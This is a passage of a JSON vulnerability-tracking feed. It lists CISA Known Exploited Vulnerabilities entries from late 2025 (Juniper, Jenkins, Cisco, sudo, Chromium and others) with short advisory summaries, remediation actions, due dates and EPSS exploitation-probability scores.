percentile for CVE-2014-6278, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-7755","cveId":"CVE-2015-7755","aliases":[],"kind":"vulnerability","title":"Juniper ScreenOS Improper Authentication Vulnerability","summary":"Juniper ScreenOS contains an improper authentication vulnerability that could allow unauthorized remote administrative access to the device.","detail":"CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-02","updatedAt":null,"regions":["Global"],"vendor":"Juniper","product":"ScreenOS","stacks":["Juniper Networks","Juniper","ScreenOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-02","dueAt":"2025-10-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.61139,"percentile":0.99154,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-7755&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-7755","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-7755 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-7755&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-7755, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-1000353","cveId":"CVE-2017-1000353","aliases":[],"kind":"vulnerability","title":"Jenkins Remote Code Execution Vulnerability","summary":"Jenkins contains a remote code execution vulnerability. This vulnerability that could allowed attackers to transfer a serialized Java SignedObject object to the remoting-based Jenkins CLI, that would be deserialized using a new ObjectInputStream, bypassing the existing blocklist-based protection mechanism.","detail":"CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-02","updatedAt":null,"regions":["Global"],"vendor":"Jenkins","product":"Jenkins","stacks":["Jenkins"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-02","dueAt":"2025-10-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99679,"percentile":0.9995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-1000353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-1000353","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-1000353 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-1000353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-1000353, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21043","cveId":"CVE-2025-21043","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Out-of-Bounds Write Vulnerability","summary":"Samsung mobile devices contain an out-of-bounds write vulnerability in libimagecodec.quram.so which allows remote attackers to execute arbitrary code.","detail":"CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-02","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-02","dueAt":"2025-10-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02216,"percentile":0.82517,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21043","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21043 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-4008","cveId":"CVE-2025-4008","aliases":[],"kind":"vulnerability","title":"Smartbedded Meteobridge Command Injection Vulnerability","summary":"Smartbedded Meteobridge contains a command injection vulnerability that could allow remote unauthenticated attackers to gain arbitrary command execution with elevated privileges (root) on affected devices.","detail":"CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-02","updatedAt":null,"regions":["Global"],"vendor":"Smartbedded","product":"Meteobridge","stacks":["Smartbedded","Meteobridge"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-02","dueAt":"2025-10-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93315,"percentile":0.99836,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-4008&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-4008","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-4008 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-4008&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-4008, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21311","cveId":"CVE-2021-21311","aliases":[],"kind":"vulnerability","title":"Adminer Server-Side Request Forgery Vulnerability","summary":"Adminer contains a server-side request forgery vulnerability that, when exploited, allows a remote attacker to obtain potentially sensitive information.","detail":"CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-29","updatedAt":null,"regions":["Global"],"vendor":"Adminer","product":"Adminer","stacks":["Adminer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-29","dueAt":"2025-10-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98464,"percentile":0.99919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21311&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21311","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21311 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21311&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21311, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-10035","cveId":"CVE-2025-10035","aliases":[],"kind":"vulnerability","title":"Fortra GoAnywhere MFT Deserialization of Untrusted Data Vulnerability","summary":"Fortra GoAnywhere MFT contains a deserialization of untrusted data vulnerability allows an actor with a validly forged license response signature to deserialize an arbitrary actor-controlled object, possibly leading to command injection.","detail":"CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-29","updatedAt":null,"regions":["Global"],"vendor":"Fortra","product":"GoAnywhere MFT","stacks":["Fortra","GoAnywhere MFT"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-29","dueAt":"2025-10-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99799,"percentile":0.99957,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-10035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-10035","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-10035 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-10035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-10035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-20352","cveId":"CVE-2025-20352","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software SNMP Denial of Service and Remote Code Execution Vulnerability","summary":"Cisco IOS and IOS XE contains a stack-based buffer overflow vulnerability in the Simple Network Management Protocol (SNMP) subsystem that could allow for denial of service or remote code execution. A successful exploit could allow a low-privileged attacker to cause the affected system to reload, resulting in a DoS condition, or allow a high-privileged attacker to execute arbitrary code as the root user and obtain full control of the affected system.","detail":"CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-29","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE","stacks":["Cisco","IOS and IOS XE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-29","dueAt":"2025-10-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41502,"percentile":0.98669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-20352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-20352","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-20352 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-20352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-20352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-32463","cveId":"CVE-2025-32463","aliases":[],"kind":"vulnerability","title":"Sudo Inclusion of Functionality from Untrusted Control Sphere Vulnerability","summary":"Sudo contains an inclusion of functionality from untrusted control sphere vulnerability. This vulnerability could allow local attacker to leverage sudo’s -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file.","detail":"CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-29","updatedAt":null,"regions":["Global"],"vendor":"Sudo","product":"Sudo","stacks":["Sudo"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-29","dueAt":"2025-10-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55498,"percentile":0.99029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-32463&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-32463","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-32463 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-32463&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-32463, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-59689","cveId":"CVE-2025-59689","aliases":[],"kind":"vulnerability","title":"Libraesva Email Security Gateway Command Injection Vulnerability","summary":"Libraesva Email Security Gateway (ESG) contains a command injection vulnerability which allows command injection via a compressed e-mail attachment.","detail":"CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-29","updatedAt":null,"regions":["Global"],"vendor":"Libraesva","product":"Email Security Gateway","stacks":["Libraesva","Email Security Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-29","dueAt":"2025-10-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01864,"percentile":0.79135,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-59689&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-59689","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-59689 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-59689&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-59689, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-20333","cveId":"CVE-2025-20333","aliases":[],"kind":"vulnerability","title":"Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Buffer Overflow Vulnerability","summary":"Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Software VPN Web Server contain a buffer overflow vulnerability that allows for remote code execution. This vulnerability could be chained with CVE-2025-20362.","detail":"CISA added this entry on 2025-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The KEV due date refers to the deadline by which FCEB agencies are expected to review and begin implementing the guidance outlined in Emergency Directive (ED) 25-03 (URL listed below in Notes). Agencies must follow the mitigation steps provided by CISA (URL listed below in Notes) and vendor’s instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","publishedAt":"2025-09-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense","stacks":["Cisco","Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-25","dueAt":"2025-09-26","action":"The KEV due date refers to the deadline by which FCEB agencies are expected to review and begin implementing the guidance outlined in Emergency Directive (ED) 25-03 (URL listed below in Notes). Agencies must follow the mitigation steps provided by CISA (URL listed below in Notes) and vendor’s instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.71207,"percentile":0.99404,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-20333&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-20333","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-20333 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-20333&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-20333, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-20362","cveId":"CVE-2025-20362","aliases":[],"kind":"vulnerability","title":"Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Missing Authorization Vulnerability","summary":"Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Software VPN Web Server contain a missing authorization vulnerability. This vulnerability could be chained with CVE-2025-20333.","detail":"CISA added this entry on 2025-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The KEV due date refers to the deadline by which FCEB agencies are expected to review and begin implementing the guidance outlined in Emergency Directive (ED) 25-03 (URL listed below in Notes). Agencies must follow the mitigation steps provided by CISA (URL listed below in Notes) and vendor’s instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","publishedAt":"2025-09-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense","stacks":["Cisco","Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-25","dueAt":"2025-09-26","action":"The KEV due date refers to the deadline by which FCEB agencies are expected to review and begin implementing the guidance outlined in Emergency Directive (ED) 25-03 (URL listed below in Notes). Agencies must follow the mitigation steps provided by CISA (URL listed below in Notes) and vendor’s instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87085,"percentile":0.99747,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-20362&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-20362","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-20362 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-20362&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-20362, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-10585","cveId":"CVE-2025-10585","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium contains a type confusion vulnerability in the V8 JavaScript and WebAssembly engine.","detail":"CISA added this entry on 2025-09-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-23","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-23","dueAt":"2025-10-14","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0606,"percentile":0.93332,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-10585&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-10585","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-10585 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-10585&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-10585, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-5086","cveId":"CVE-2025-5086","aliases":[],"kind":"vulnerability","title":"Dassault Systèmes DELMIA Apriso Deserialization of Untrusted Data Vulnerability","summary":"Dassault Systèmes DELMIA Apriso contains a deserialization of untrusted data vulnerability that could lead to a remote code execution.","detail":"CISA added this entry on 2025-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-09-11","updatedAt":null,"regions":["Global"],"vendor":"Dassault Systèmes","product":"DELMIA Apriso","stacks":["Dassault Systèmes","DELMIA Apriso"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-09-11","dueAt":"2025-10-02","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96915,"percentile":0.99887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-5086&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-5086","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-09-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-5086 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 